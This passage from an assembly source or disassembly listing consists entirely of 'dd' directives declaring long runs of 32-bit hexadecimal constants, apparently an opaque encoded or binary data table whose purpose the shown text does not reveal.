70913FB3h, 3218BFF1h, 0B2C8F500h, 332FC0A8h, 0F4D44A4Bh dd 1F92A1Ch, 106253BBh, 0A8905F2Dh, 3C007950h, 2575C6B7h dd 0BF33BC0Eh, 846824A5h, 0F2C8B21Ch, 1DF030B3h, 3480744Bh dd 80494FC3h, 3B7159FDh, 67A00195h, 682026B1h, 0CD1C0E8h dd 9BAA89B2h, 0CC2C9C9Eh, 8918ED74h, 1B30B00h, 0C7166FE4h dd 3B8E30E2h, 0B70426F1h, 8D50E5F4h, 2B3F4695h, 0C1EEA537h dd 94308A58h, 217E4190h, 237E144h, 9C80E329h, 9A88344Ah dd 80E758E8h, 0E460B464h, 2CA9377Dh, 9607D2F7h, 4561E7A0h dd 792175A0h, 0B51038B3h, 0D8E907A5h, 0DF361014h, 105147Fh dd 0EF22E004h, 10946748h, 58005203h, 0A6C4710Ah, 92CF3Ah dd 0E3C62F16h, 317364D0h, 0E6287507h, 6490BFC1h, 6B0B9110h dd 84F62093h, 855D162Ch, 871D72CCh, 746BD028h, 78385161h dd 0C7C00569h, 7CB02392h, 7020958Fh, 89183DDDh, 0A00239E6h dd 0B33BBC69h, 0E7C504B2h, 0A841E360h, 9D9BAD88h, 292DF418h dd 7B7064B7h, 6D1A004Dh, 3AE37E34h, 6F007581h, 8CCBE5A2h dd 9AA0488Fh, 0BDBFA7Ch, 0C6189BC2h, 0CF096C5Ah, 68228BB5h dd 807510C8h, 4B4E1A9Bh, 0FEE09045h, 0F0E4D835h, 7FA2139Fh dd 0EE604E60h, 4005308h, 7D49918Fh, 0C03171F7h, 0F971B2B9h dd 9632B47Eh, 20FB4811h, 38BFC327h, 27C5D980h, 103A24DBh dd 0C0446467h, 0E48EB061h, 7D0328D3h, 43A2C733h, 2F50065Bh dd 6839EFBEh, 8240249Eh, 18E9008h, 2F242204h, 70E440E1h dd 575A8FEFh, 0F75B2045h, 362064B2h, 0F979BD69h, 0AB298270h dd 8F025A1Bh, 3B2081BAh, 6402D9F7h, 0BD7980D1h, 92047818h dd 0DDC1968Ah, 0C5DB40C1h, 0AF8504h, 0E9616F61h, 201B3D8Ch dd 0A298DDB4h, 365820E6h, 0EF0052AAh, 8B75918Eh, 1860C91Dh dd 69B0F6ADh, 0CF03292Bh, 2EFCED5Ah, 6FF3C035h, 941097D7h dd 711D91BDh, 87FA4AF7h, 10BE8C9Fh, 0AA3C3A90h, 0FF5D0532h dd 12E62F54h, 0C464C2DFh, 4071459h, 0F743CF3h, 0CF0C22BFh dd 14E87724h, 8C26B8h, 979BE3B5h, 0B0FCC3CCh, 114901Eh dd 53E72A0Bh, 0C36770B8h, 0CF942C0Ch, 893CA0AAh, 80C83C5Dh dd 728A10E6h, 0A1FCE8h, 34732B6Bh, 958FA94Dh, 83A2AF0Eh dd 448B09D2h, 439816C4h, 19D0F0FEh, 0FCF2E44Ah, 23BC7D05h dd 0E5CB1F7h, 0E0258884h, 0CF42DE8h, 0C0271D2Eh, 0B733B940h dd 808D80C5h, 0EE9D7716h, 81D00810h, 575BCAC7h, 0DBE0443Fh dd 2B1C403Bh, 970D9F4Dh, 49441067h, 0A4CFFF60h, 0ED01DAFEh dd 810BC52Eh, 917B95ADh, 70D56014h, 0C04BCD6Dh, 0C09C349Bh dd 56596448h, 0CB02393Fh, 54C80490h, 43306029h, 0F7078063h dd 0BD3CC697h, 8804F044h, 2E63B882h, 762820AEh, 2C2FA30Fh dd 0C8146BF7h, 0A0E25539h, 3956791h, 5E38B037h, 99CEA858h dd 6073F402h, 6269701Bh, 0DDB46280h, 0ECB1AC91h, 0FF028124h dd 225C0CC7h, 0F41905B5h, 76771D00h, 8064CF3Ch, 52714C97h dd 3E475127h, 7280FEF9h, 2BBE5BBDh, 6B59EE93h, 0DC0B2EECh dd 0B4D37429h, 0EB808162h, 55CD7DB6h, 278D0B00h, 50F36403h dd 2120B868h, 0DF085EE3h, 0ECF6173Dh, 3985804Ch, 1D571BAAh dd 0C0371925h, 0B18342ABh, 0A70B59ADh, 0CA5BB3ACh, 0C0484958h dd 0A50C8015h, 2397ABE6h, 7C63A260h, 44C64871h, 5B96F481h dd 508C28CEh, 8F2DA308h, 9EAC245Dh, 92BD2C08h, 64049D95h dd 2A233E3Bh, 7F64EA55h, 0D106D46Bh, 0B0EC5D3Fh, 0CCF858D2h dd 628CB2ECh, 3FD7C007h, 0AD840600h, 819D5FC4h, 3E92796Ch dd 1C63B488h, 0F017CE31h, 0EFF6F970h, 0A703F096h, 5D19DFC5h dd 2ED3BC18h, 1C3232Ch, 7AE405E9h, 361DD8A8h, 0B2A55900h dd 0A7DD3390h, 205890D2h, 0B013AD3Eh, 8CCC7161h, 0B49B5E27h dd 0F31E2660h, 0A875F70Ah, 0C3887CCEh, 7E3938C0h, 0FA9D001Fh dd 48051ADBh, 1D269391h, 3B616C30h, 6E00C623h, 2B5E3205h dd 3B9080B4h, 214E3A63h, 0F31478Ch, 0D5C0BF88h, 13399C0Eh dd 0A41A4631h, 8700AA34h, 7C1913EDh, 9CCD262Fh, 0C17D6510h dd 4CF304h, 9C2150Eh, 9CBB31F9h, 5F6210C0h, 8848EF26h dd 639D4820h, 8E5CA1A0h, 23F4902Ah, 4EBDB6CBh, 4464A7C8h dd 52696046h, 63960BADh, 0E4FAC40Eh, 0A316009h, 4B28D8F9h dd 34A7A9h, 9A45798Eh, 5FE8E910h, 88348F9Eh, 3DD1C0BBh dd 0D70ECF15h, 0CC2C06E3h, 4F13909Fh, 0B2C4A3EBh, 0E379304Dh dd 4AFC7C1Ch, 8CD6827Dh, 758DADBAh, 53C60010h, 47D4141h dd 0EE99E032h, 0F850B0F0h, 0B240D680h, 0DC315919h, 23FC2F4Fh dd 254300B6h, 0ADB25F1Eh, 0D9449050h, 327FC510h, 43CACF09h dd 34D328C2h, 0B271ACA1h, 1E00AF18h, 23BDABF4h, 40454CDEh dd 0BB40CEA4h, 0C90405C0h, 80EEEDB9h, 9DBA3F54h, 0BAD1D091h dd 5492F518h, 0CC639726h, 9AF48041h, 0D360E1h, 0BA2BBD10h dd 0C5A44320h, 21546200h, 0CEFFD182h, 0F9760014h, 291B56E5h dd 0D89B65FCh, 0BBAC8180h, 90AF0F2Bh, 6F401240h, 223C24E9h dd 0D0A046E0h, 3BFBCB21h, 7E3029B7h, 0F996193Ch, 1B1C48E8h dd 68303A69h, 0E5A4A78Ch, 326CCC2Bh, 31161CF6h, 248580E6h dd 0A52FD8A3h, 52AA78E3h, 0BA8E3898h, 423F9C2h, 131CD2EAh dd 426F5BB4h, 601B0F4Ch, 0B61494DBh, 8CB15E7Ch, 4E5F5460h dd 180CA6D4h, 0BBA1175Bh, 0C20B5A4Bh, 0E85AC574h, 143D683Ah dd 0B020A6F8h, 88BBAA4Bh, 0C741AF53h, 0A92EB2F3h, 0D0BD81E0h dd 705930B2h, 0E0FD6047h, 0FB841C6Dh, 4B692829h, 0B0F0E69Bh dd 0E23B53FBh, 1698C1B8h, 5C4AE43h, 0D10108BCh, 0BFAB2702h dd 0FB688059h, 0FD5F8ABBh, 98F40082h, 0CDD13923h, 0DE073391h dd 9E702654h, 67649FE0h, 8920C099h, 2802D931h, 1B262500h dd 7F9698CEh, 2768E8EEh, 8205984h, 8127A9F8h, 2F295C1Eh dd 8C007A3Fh, 77FED5A1h, 986618E6h, 679900A9h, 0FF6CF88Fh dd 124A60F9h, 4DA240A3h, 1E2AC330h, 82B3B49Bh, 63FB5DC0h dd 0A8213CFCh, 0C51846D1h, 98C93002h, 0E94B1A67h, 0B9E3FE28h dd 22F1C255h, 9C6D0h, 1428B159h, 54A5B8ECh, 49336130h dd 4A1D7032h, 0BA94402Bh, 2B853B4h, 885F0890h, 0C9A948B0h dd 0E84B9210h, 1FE447D8h, 2140781Ch, 66ECA8EAh, 8B283356h dd 0A8D025D0h, 31442838h, 2358105Eh, 0BC971013h, 0DFB00776h dd 47A0F0B9h, 547A19B5h, 0EC242802h, 0B4217042h, 28B14D40h dd 0F5E0404Bh, 0A5BB9E38h, 0C2E6C3Bh, 91A8C8E5h, 0F8A1658Fh dd 0CC24FFA6h, 0AD0A3C6Eh, 85A4848Fh, 0C859F3D2h, 2B3A1CFCh dd 0F2345265h, 0FD80176Fh, 9B3995BBh, 6C423E24h, 79D1C0F6h dd 0BAAEEE5Fh, 3153A405h, 481D5719h, 0F964BC2Bh, 0FEC1D6Ch dd 9E6E61C3h, 0F820408Ah, 0E3A8A9C8h, 3F3917E3h, 4E4CA420h dd 96A9FC64h, 39CE521h, 778DD2B4h, 0CF219C98h, 2986A800h dd 9120D205h, 1A040DB2h, 40910C39h, 0CE676370h, 0E4828E5Eh dd 22920BDh, 87F898A0h, 0EC5220A6h, 844E7DBCh, 4A390482h dd 7AC5E9Ch, 0A2686EBAh dd 44DAC79Eh, 0BCB08F0Bh, 57745E0Fh, 20631540h, 2D2C31ACh dd 1A0FE08h, 3C01A86Ah, 893101A9h, 196CA01h, 4B0138DFh dd 0DBE30134h, 17BB701h, 0FA01D135h, 0C2670122h, 14E3601h dd 0B6015A24h, 92E10186h, 4B07407h, 9042F9Dh, 25060482h dd 43B2304h, 83044D1Ch, 399C0454h, 0C259D30Ch, 0FFD7C140h dd 1687501h, 3F01CF49h, 222A02B3h, 0A107D2A2h, 286308E8h dd 88A6E08h, 20821A8h, 7AF80826h, 0A4F90819h, 0D3A0E9BDh dd 0F123D032h, 8DC6037Ch, 72B42144h, 3AC421C4h, 88847C0Ah dd 57905D2Ch, 1064AD10h, 23108BE2h, 80E92AE0h, 77B8D654h dd 2BA99D64h, 4905004h, 0B2047303h, 0D8520497h, 0C1C48C06h dd 69EA9C88h, 89A53280h, 81099053h, 33A33D10h, 11AEC943h dd 20CA5661h, 301620C5h, 0E4110762h, 481C02B6h, 5489A706h dd 0CFBE982Fh, 2AB0D431h, 9820BC87h, 44A04472h, 9E2311C4h dd 0C384104h, 407AF980h, 0F0A89635h, 0E58074E7h, 517C81DDh dd 252EA8Ch, 0BECA2A9h, 3B8E0267h, 20A93606h, 52024E8h dd 0B195F77Fh, 0FD31F097h, 3DAE099h, 680910F6h, 32D31978h dd 0D001D751h, 6B930154h, 1ADF801h, 6F03E243h, 9C4A8110h dd 2A6EB710h, 7B62C421h, 23ADB09h, 0D10245A3h, 4E87028Bh dd 698A702h, 0E020A9FBh, 0C3EE20CBh, 19412A62h, 0F888075Ah dd 18D9E408h, 5C052135h, 80A07880h, 71C88223h, 61CA08AAh dd 2968840Ch, 62FF8057h, 0A1BFC381h, 0C454C1A0h, 42409988h dd 1202EB28h, 116990A6h, 628E5820h, 0BDD1F1F1h, 0F7A7302h dd 0D2295FACh, 81BFEC80h, 0E0F051D0h, 0DCC601A1h, 0BCA66F02h dd 4F54D132h, 3E402784h, 0CC7E40C8h, 0A8365640h, 805E62C4h dd 9C81D633h, 0DB159051h, 0A3A9000h, 48F58F4Bh, 25FD1FD4h dd 0DC07B1ADh, 0C5D581F8h, 0E11080AEh, 0A882CA77h, 96B1021Bh dd 0B5575CEDh, 0AB002852h, 0E69CE231h, 3D6A979h, 8229281Bh dd 0ECA254CAh, 0B866C262h, 210098B0h, 60F5BEADh, 530513h dd 743A3D5Dh, 7E0DEC35h, 0E011D1F1h, 21B58AB2h, 5A6EF610h dd 0B9F9B080h, 0BC809761h, 2931BA00h, 0AA98A2F5h, 0D21F2554h dd 1B272C48h, 0F94B9276h, 60C08CF0h, 51221977h, 43767350h dd 0B1FFDD00h, 33177D63h, 0A30E0A9Fh, 5088BB2h, 96CFCBF6h dd 10C868A8h, 652F0054h, 0B20461C2h, 0B045645Bh, 20826C90h dd 0D2334041h, 0CD97F31h, 3AF5F6C2h, 840A0C38h, 0C029B587h dd 0C68F6702h, 809C7CD6h, 49F5EF9h, 8774790Fh, 6DACCC1Dh dd 3059F24Dh, 39F430h, 15DD81A3h, 1A6B36C7h, 80C0C87Dh dd 0DBF4406h, 0DB660010h, 0EA33A12Eh, 1200DE78h, 0DCFC3927h dd 9FA21D29h, 8C02A0C2h, 0F90344C9h, 0CC8E5EBh, 703D6040h dd 721A0161h, 74615768h, 0F8276500h, 49CA2AD1h, 7301189Dh dd 0EA8F33EBh, 19488BFFh, 5E54A3ACh, 64B0B0F4h, 1C270003h dd 0B19935BAh, 89E02A61h, 5A5E0401h, 0CF0C633h, 0BF91EE0h dd 55421A77h, 0B00224EBh, 86FE61EEh, 0E44815Ch, 0B441BC96h dd 6040F527h, 115C6EFh, 8F88EC73h, 0F00E4167h, 2981F8Eh dd 2D0DC0C2h, 0E8CC824Dh, 628090CCh, 8FF1044Eh, 1E05DF87h dd 0BBB50E47h, 5719AFB0h, 4E548047h, 0D9AE8F19h, 80BC2F70h dd 0C68310h, 23122D34h, 0CA6C1C99h, 6942730h, 11251798h dd 0E5001A78h, 1F2E5FB8h, 37900526h, 0F3A81EBAh, 748B8F77h dd 1A2A2FF0h, 396F3430h, 0EDCA3Ah, 564548D8h, 8C5AF31Fh dd 0F737DA0Fh, 0AC49C1E9h, 8FE49F82h, 504A61E3h, 800BE819h dd 0EBD31F40h, 0B299C95h, 7F870DCFh, 6C4928D0h, 0DA3E0954h dd 8C602654h, 0E2EB01B9h, 6384682h, 7C006A16h, 5854BA96h dd 7A1B00C5h, 0B28104FFh, 0FA00BB60h, 688EBE2Eh, 1DEAD95Bh dd 0C0713250h, 76B7FC27h, 0F31D9184h, 0C340B4CAh, 0FB1BCF75h dd 0B654C64h, 3900A23Bh, 24276D99h, 8304C621h, 0A5EC9F90h dd 8F68B881h, 96F4A0FEh, 0E9D2B506h, 12CAEA20h, 477DC819h dd 86D90D18h, 20A1F96Ch, 617820B2h, 8A48B1E0h, 0D2968720h dd 288C5BC4h, 0F48E0490h, 0A07C0575h, 0BD8B7Ch, 3E80B180h dd 0A0C00010h, 88B27904h, 260085EEh, 8B7B979Bh, 92CA7CC7h dd 1A031F08h, 2958B247h, 62B1DC82h, 34A034A3h, 0A4819892h dd 83F61F87h, 848FB918h, 80703E2Ah, 93BD312h, 80029C44h dd 30803229h, 587198FEh, 60F48780h, 1A9959D6h, 18C22E1Bh dd 43FFD8C7h, 0F0DFE098h, 698E00ABh, 0B4E3FE75h, 8F729131h dd 0EA1908A0h, 0A8B1B668h, 6420BBh, 66E975EFh, 3D31554Eh dd 0BF269C90h, 46F84CFh, 0B0D0821Bh, 59FA24h, 11F3BEDh dd 57470F36h, 0FD8ED300h, 6D5DB158h, 96510689h, 0E03F7D87h dd 54C29409h, 0F14CA0FAh, 249D2975h, 128571FEh, 77EC40C1h dd 0EF96F969h, 0E307F618h, 28870881h, 7A80ED7Ch, 0C51A1395h dd 871C6066h, 68C9415Fh, 0F6042296h, 26E4F0D1h, 431CEAF8h dd 0B783DD9Fh, 990231C0h, 0BC926C74h, 78884A50h, 4F6A740h dd 1F8A740Eh, 28CDFCh, 5D2F6984h, 0E2F888A1h, 3013F725h dd 44250C38h, 78C5BC32h, 18151D27h, 81B90EC0h, 0A1003C64h dd 6CB1EB02h, 47F703F4h, 6691F6FEh, 981A4075h, 6392C3Bh dd 6050BBE0h, 8F5F40F9h, 2C9036E4h, 0A88C9450h, 9C60197Bh dd 27ED9530h, 22CF0B20h, 880738Eh, 2DF385B2h, 2B5018C0h dd 2887DCABh, 12A44345h, 0B48404h, 0C26D2FA4h, 0AA037CCCh dd 0C08F150Eh, 0B9680006h, 6D5C31B2h, 0CE284FCAh, 9A20BC20h dd 4C355869h, 2CA21E78h, 1B28009Dh, 97BC4441h, 0A120FC7Ch dd 28CF5C8Ch, 1C81C040h, 0D32766F2h, 0AA9088A2h, 0BB7B1918h dd 5996F410h, 94C1C88Ch, 35422535h, 19A04368h, 200679D3h dd 8DE6F6F1h, 1A020C68h, 0FC184C39h, 3895CE00h, 0D986051Fh dd 0FD0D04E2h, 9867C119h, 0A33C062Ch, 0F20642C4h, 51D45DF6h dd 1065B403h, 4C77A0Eh, 31DAB9B0h, 7558A8A5h, 6A909CA0h dd 987350Ch, 911248F4h, 688F0628h, 3D1D38BEh, 86C04C16h dd 55ADEE5Fh, 6290049h, 0B65A371h, 0F035E31h, 9D878969h dd 984026FDh, 8B143CE4h, 8E00D812h, 249CF767h, 6C77BA66h dd 0FC20CF00h, 0CC5E0E64h, 8FA92CBDh, 350803E4h, 0B8F2772h dd 809D2484h, 61BAFD74h, 80332C3Eh, 7F782D18h, 0E18D8791h dd 6ACA7081h, 7962AE69h, 328000ACh, 548F7406h, 0B0C8C0CCh dd 0F726A194h, 96365E01h, 3074878Bh, 0C769A080h, 8F66BA7Fh dd 30982437h, 64940079h, 7DEA8B0h, 6C91B9E9h, 803C848Fh dd 0D89F8930h, 900328B8h, 87AD382Fh, 2450BE1Bh, 2EA86D0Eh dd 0E2408010h, 0CA49CF54h, 0F5C46351h, 2CC02055h, 59C04E41h dd 86F71287h, 0F4DC409Dh, 993B62EAh, 0B94CD2F8h, 331A82DCh dd 0FD6CE8ACh, 528001A8h, 8717CE2Ch, 0BF2983F1h, 0ACAB1A79h dd 2F614A00h, 96308714h, 0D96620E4h, 3280CB44h, 602CC4D4h dd 8FE294C0h, 0A410480Fh, 1F132FC1h, 927028D0h, 0C901465h dd 17B122C7h, 0F35F70h, 0D98C5804h, 8F7B1C23h, 9D13100h dd 3568B1B2h, 0EC8A00D0h, 0F8DF6362h, 6BF8EDB5h, 7CE2A800h dd 338BCF09h, 0B00477EBh, 69136064h, 0EFA58FF6h, 88B178C0h dd 178EDC7Fh, 108036FEh, 580800h, 0E5F30F00h, 90FC8BBFh dd 802574C9h, 0F71F8C4Ch, 0ED960428h, 0D5B3F82Eh, 90C88624h dd 8B9FD500h, 0EB93B223h, 0D0560013h, 5F8E9196h, 89E4ADF1h dd 0C9D1100h, 3CB8CBF4h dd 0D77913D3h, 0D41C0423h, 0BA020557h, 0B98FF403h, 0A427C5E6h dd 0E4ECED85h, 96752602h, 0FC858CA0h, 0C8AC00DEh, 475160E1h dd 0A30064B0h, 0CF364F4Dh, 2F201EBh, 19F6168Ch, 885034BBh dd 88BB6B7Dh, 7D60F026h, 0BA36A01Ah, 0D0CF0EBCh, 9043B606h dd 8049E33Fh, 6ABB51D0h, 80B3DC0Bh, 5EE6B510h, 0E5F52CF7h dd 838FC10Ch, 98082029h, 4002565Eh, 401F2C87h, 6A2F5E78h dd 40106812h, 0F6A21A29h, 10B36235h, 0DB0CA090h, 75F70B54h dd 0A0295BFCh, 0AC7588Ah, 3A6063B2h, 27808CD9h, 0CEE88FE4h dd 0FA33A4A6h, 0C3FD08BBh, 5F6DFA85h, 65B19C22h, 2665248Ah dd 0DB7514ECh, 7C097169h, 76EBC04h, 9884352Dh, 0AAECC1BBh dd 8CD0A413h, 0C9D11F8Bh, 0E283F950h, 2D8BAA32h, 40E4C1ACh dd 0CEF800B5h, 0F038098Fh, 44098896h, 0C28C009Bh, 945CDEB0h dd 4A15C700h, 19D502Fh, 0FAC8F103h, 2089BC4Ch, 510079F8h dd 0E1954314h, 0A00B7A8Fh, 13218AB8h, 14B7AAD2h, 0C8412C48h dd 0AAB46EF4h, 1AD02288h, 86F10130h, 0FE99E01Eh, 386420D7h dd 748314D4h, 19410C26h, 0FA200618h, 4081F615h, 0D6A806D8h dd 20C09290h, 680216C7h, 8F83B9FBh, 63B8996Bh, 0C282D20Ch dd 851001F4h, 1816105Bh, 0FF0AA400h, 8F8931EDh, 8D08A091h dd 1B0C09F1h, 0D708A255h, 50F606CCh, 0A70B4878h, 135FF90Ah dd 0A2BF8160h, 9710A433h, 7BAA0095h, 18A6F2CAh, 24143287h dd 0E48812B8h, 11C650F8h, 873FCCE8h, 0F4EC4B07h, 0E12D849h dd 96CC0683h, 77E6402Eh, 0F75F8B0Fh, 5DF4A0B0h, 0C0EA168Fh dd 6B8D31E0h, 0A248F829h, 6C019338h, 0F7351D66h, 0B84D9828h dd 0B100E891h, 41BF7C85h, 0FD0F60D8h, 602CC8EFh, 0C2F6E552h dd 0FF9CB5Bh, 39488C00h, 88B886F3h, 8549820Bh, 208C0F7Bh dd 1885D83h, 0B46552B2h, 8946429h, 209C005h, 5CCA0A97h dd 0C9108h, 36C5185Dh, 751D8F16h, 0D69DF6B1h, 0A8228D01h dd 9DF0026Fh, 64FD00BFh, 0F1598405h, 0A70BE810h, 24C74FF6h dd 98A8315Ch, 3878A07h, 41A8958h, 27504C48h, 0D0E49C7Eh dd 28232613h, 0F135D001h, 8DCC62C4h, 2620F812h, 89880E71h dd 382937D8h, 808FAC2Fh, 0E4981092h, 0F60C0853h, 31108FB8h dd 63C2451Dh, 22CFC9h, 1387DC84h, 0C348C00Ah, 746C2EBAh dd 0EE4F63Ch, 0C1978C3Dh, 0F1438F5Eh, 608BE442h, 4CD01E8h dd 789009A3h, 0AA94D2E2h, 0CB63B841h, 0FA10189Ch, 0E0D04E19h dd 0A4B9FDD4h, 0D1393F0Fh, 4A947093h, 0F894EFCAh, 61C90547h dd 42A8060h, 89F52A24h, 0B82824h, 6131BAB9h, 176FA6E9h dd 445A1A0Fh, 0C6DF2500h, 0E360824h, 0B3A0593Dh, 980325F4h dd 9100DECAh, 0B35B8CF4h, 0CD91F44h, 17ADAFDFh, 8D02A718h dd 0EC9F5516h, 28F88A01h, 0BC850E40h, 0C1B899BAh, 2C34F519h dd 0B8E38118h, 0C071918Dh, 5063F6F5h, 0A4465001h, 648A87FBh dd 90AE6978h, 7EF01262h, 0D3A09113h, 80D0522Bh, 0F4A98F8Ch dd 60423C9Ah, 0D05FF60Bh, 0D8225812h, 88A6F74Ch, 0D32A38CAh dd 0C263E001h, 2CD1FD10h, 2C246120h, 440C2488h, 9BFB21CFh dd 0B2056800h, 1AD68D00h, 8F65A404h, 40E760AAh, 9C0F8BB0h dd 0D31E060Fh, 0E68903F4h, 35C7A826h, 62B17891h, 74761037h dd 6A8EC8A2h, 3F8B085Ch, 53200554h, 44356CD0h, 0F4AC174Ch dd 68B8EEh, 6E6178B3h, 92274387h, 73C40E30h, 65EC5644h dd 0C8A69250h, 0C88074B0h, 81E0E09Fh, 0F9506CB0h, 270E7394h dd 432D0CF3h, 0C374905Ah, 5C114C1Bh, 96FEAB01h, 0F16773FCh dd 233083A1h, 0D50C65A2h, 0E4DC00BAh, 268BF6E7h, 12259C96h dd 44A08988h, 0C2D52020h, 405FB102h, 0E0F41FABh, 3B0BA3B0h dd 0B04A6B49h, 72E9FF90h, 8F691F64h, 6354AC2Ah, 4F4FACDCh dd 0C8D9484Ah, 72B1CD81h, 55F451A0h, 0E0F4AAB9h, 2AA19D8h dd 95521F9Ch, 0E458E5F7h, 31970C94h, 0A120E309h, 7257F618h dd 1FC0C439h, 2955F5D4h, 6A74413h, 5EAF3C00h, 978F32D8h dd 0B12674FAh, 4F04E591h, 50C0974Ah, 94ABF05Fh, 460B128h dd 792C70C3h, 5FE0B660h, 81FBA88Fh, 20CC3C84h, 0F62727B3h dd 61D32C11h, 9902FAF8h, 25C0D017h, 0F0606587h, 0F8FA2E66h dd 0CAAF625h, 0B9D19238h, 0EB0C8090h, 0BE8F3BE5h, 7898A14Bh dd 3A722587h, 208BCC80h, 0D93B16E1h, 58FE00B1h, 903F7ABDh dd 50C1301Ah, 0F275F530h, 590A7E12h, 0E2958400h, 1E793B5h dd 1F90A396h, 0F43286FBh, 0FE06274Ah, 5D7C2C9Bh, 2E6F0318h dd 1AA7F219h, 0D0980EB9h, 89C58EEBh, 0E8009A4Bh, 6C37905h dd 0E8D84948h, 0E470E10h, 0F7B6D3h, 136659FDh, 918A012Ch dd 6E19FF65h, 274991AFh, 909F0F07h, 7402EBD1h, 400F56A7h dd 5C1A03FBh, 0FAB0A8C1h, 0FD94A8AAh, 3AFF3019h, 7E3E4A18h dd 1454830Fh, 0DE706526h, 10273B87h, 0F79D1F80h, 40A15ECCh dd 0E96CC3E4h, 0C500EE36h, 72663DE4h, 0E68294D3h, 291A1608h dd 8400CD4Bh, 9B381979h, 0C8C2E0D4h, 3028528Ch, 0F7B1B0C7h dd 0A0CFB803h, 0B8801602h, 80956519h, 30C4429Dh, 0F50099C6h dd 3C8D77CCh, 18ED203Eh, 0F0188875h, 669900C7h, 5A7F780h dd 940C0EF8h, 201E2D1Ah, 0AAF9005Fh, 44D11F73h, 3658635Ch dd 1DDE1904h, 53C9871Eh, 14681421h, 833E5C59h, 0DC821B2Dh dd 3C64678Eh, 93568025h, 9089E240h, 8055C9C4h, 0AF74FC1Eh dd 8F689316h, 0F5B3B14h, 8311D234h, 0A03A6E58h, 0CF895619h dd 0A9C0A330h, 8F64C57Fh, 30C51D90h, 68C9D263h, 0F2869C00h dd 0EDFB2C6Bh, 1EF868ACh, 30211699h, 8D4D194Ch, 0D500F092h dd 573F462Fh, 997BA01h, 0F7FBA76Dh, 832D5C46h, 0F938619Dh dd 0FA28806Ch, 0CBF4BC84h, 30FA380Fh, 0EA08C0C0h, 0F6EB5205h dd 54D0B863h, 59F8871Eh, 882D84FCh, 8C8F5C02h, 0B001847Eh dd 29D0D5Fh, 7608447Ch, 0D180EECEh, 8E695982h, 0F70D0591h dd 0A4614BF6h, 646F2B18h, 0A1B8A0D1h, 98EF71FBh, 65513CB8h dd 253B4880h, 0A7763E8Ah, 0CAF3F815h, 0FB180308h, 2868A9F6h dd 907C5E50h, 32F71791h, 81AC5686h, 7942728h, 0F7589009h dd 707A8AA0h, 0A8960201h, 0A5FFF019h, 0BA092F2h, 0B6406CD4h dd 10585228h, 688F660Ah, 0DC3A8C18h, 309F01FCh, 8E72F6CFh dd 0FBC54838h, 876CE284h, 0AFF0605Fh, 0B3DC6Ah, 0FB270F88h dd 818312ABh, 36D01F00h, 9D3A8A3Dh, 0F6F1130Bh, 0E80C0ACh dd 1980BA2Ah, 503B6044h, 0F78FFEC6h, 841C125Dh, 413F585h dd 80C05500h, 9F7CF792h, 4940A1C6h, 2020B0F0h, 42C97DBh dd 0C908C47Eh, 0D26907F2h, 0B03D8594h, 0A1347568h, 1EE407Dh dd 0B145BEDCh, 0A2C7087h, 795F043Ah, 0FF4873F8h, 8FF70518h dd 0ECA2A2AFh, 0AE2B6512h, 0BC1A5903h, 5DC00F3Fh, 0AAA0EB78h dd 0E9BB6D8Eh, 0F1C23800h, 0F8271685h, 570C009Eh, 6079F76h dd 7A4D7F99h, 5F22A8h, 1259EE3Bh, 0A5116766h, 69AA4207h dd 802B3AA7h, 356B90EEh, 8CC4A025h, 0CFDC2087h, 8D01F498h dd 1A1569C2h, 5C6D7DF3h, 4CE66784h, 4A4910E2h, 0A4F88419h dd 5FB25FCh, 63BB8A3h, 964401CEh, 385C54DAh, 618F802Ch dd 0A0C287AAh, 2D1A99Ch, 970EAE4Bh, 8895FB2h, 6145808h dd 997EA619h, 70703090h, 0E58268CFh, 0D455C690h, 56F60C4Ch dd 0BAF90CDh, 26CF87FDh, 619E8C4h, 0C2D1B701h, 1C159E0h dd 0C717BEC5h, 853189A0h, 2A290932h, 2E0EF888h, 655CCC30h dd 4D84C12Fh, 4588214h dd 5CD31A7Fh, 4210265Ch, 0F3009BAFh, 2CEE0E5Dh, 860E501h dd 0EF00B4D1h, 3F1A04BEh, 0F010D46Dh, 4C937210h, 0C0B91098h dd 0FD32716h, 0A301A28h, 8867E695h, 18085517h, 3E7028E0h dd 480A4ABAh, 8F07F0Fh, 0F602B658h, 609D2106h, 0BCA0870h dd 8119F9DAh, 54406CC2h, 0A7804617h, 4FBCB88Ch, 5764F001h dd 5CC9A516h, 1D01FCFCh, 0F6A4B0C3h, 3013F3EDh, 1C2287FEh dd 94BC64FDh, 0B6AB44A8h, 0B2020E08h, 154E8Dh, 878F5EF1h dd 9820C2C4h, 805649A4h, 29444C62h, 40B33C06h, 0BABBAA1Dh dd 7A98F602h, 0B110A47Bh, 35FE7958h, 7E501097h, 0CE18C3DFh dd 0C1C1368Eh, 981092E0h, 0BD5D0844h, 9F2708Ch, 5983FB6Ch dd 1AEEC4E4h, 8C52062Ch, 8EF42947h, 134BD704h, 4287B49Ch dd 0BC0E2E5Dh, 0F426BC29h, 36A56C04h, 6F036CC1h, 957060E6h dd 1F10C0E0h, 0F9E7DAF8h, 77D74338h, 546C7516h, 0B45D6045h dd 599CA4h, 9723A435h, 7B8790A0h, 8D70CA61h, 2E9D91h, 7A4F8290h dd 95581C26h, 3924484Ch, 0F9198DD8h, 0D3D2A085h, 0C3129000h dd 8202DB65h, 9082859h, 64F8FA19h, 0CA21D112h, 0F38FCCC0h dd 3830BAC1h, 0C840BE87h, 8A0051D3h, 473A20E9h, 988C986Dh dd 4FBE2C40h, 2FE048F4h, 0E440B494h, 308481DAh, 28C1E7C4h dd 58833C55h, 2C27A9F8h, 12057F6h, 0A8AE3AA3h, 9340C01Fh dd 0CF841A00h, 9996F806h, 58D25EBCh, 0E9CCE0F4h, 7EA9213Dh dd 0E6080982h, 61F676C4h, 9C79841h, 5BB060F9h, 794994B6h dd 84FC4328h, 0F2708495h, 0FE8C00BCh, 0EE8AB1Dh, 64B2287Ch dd 8F670B08h, 34C8B788h, 14009D8Eh, 0A8586004h, 248FE4C6h dd 20341333h, 0EEF82080h, 514C3A01h, 0F6D74229h, 0BE2CFDF0h dd 1A6C0368h, 0C03F7393h, 6B407FEEh, 809053h, 0A3377D23h dd 9F5DB674h, 49611201h, 8CF14F8h, 8035021h, 8FD4FBD3h dd 136E5940h, 65671215h, 7CC8D13Bh, 90242F5Fh, 202EC8B1h dd 368696C0h, 678CC491h, 0BE68A04Ah, 60896F60h, 0D70BA4A7h dd 261380F1h, 36009A1Ah, 0D21E8A72h, 0B883593Ah, 0E4083238h dd 5C568C38h, 49C6EA0Dh, 97CD9C40h, 5677EBFh, 0A768CF1Bh dd 28988146h, 840845F3h, 0F914022Ch, 20809EEBh, 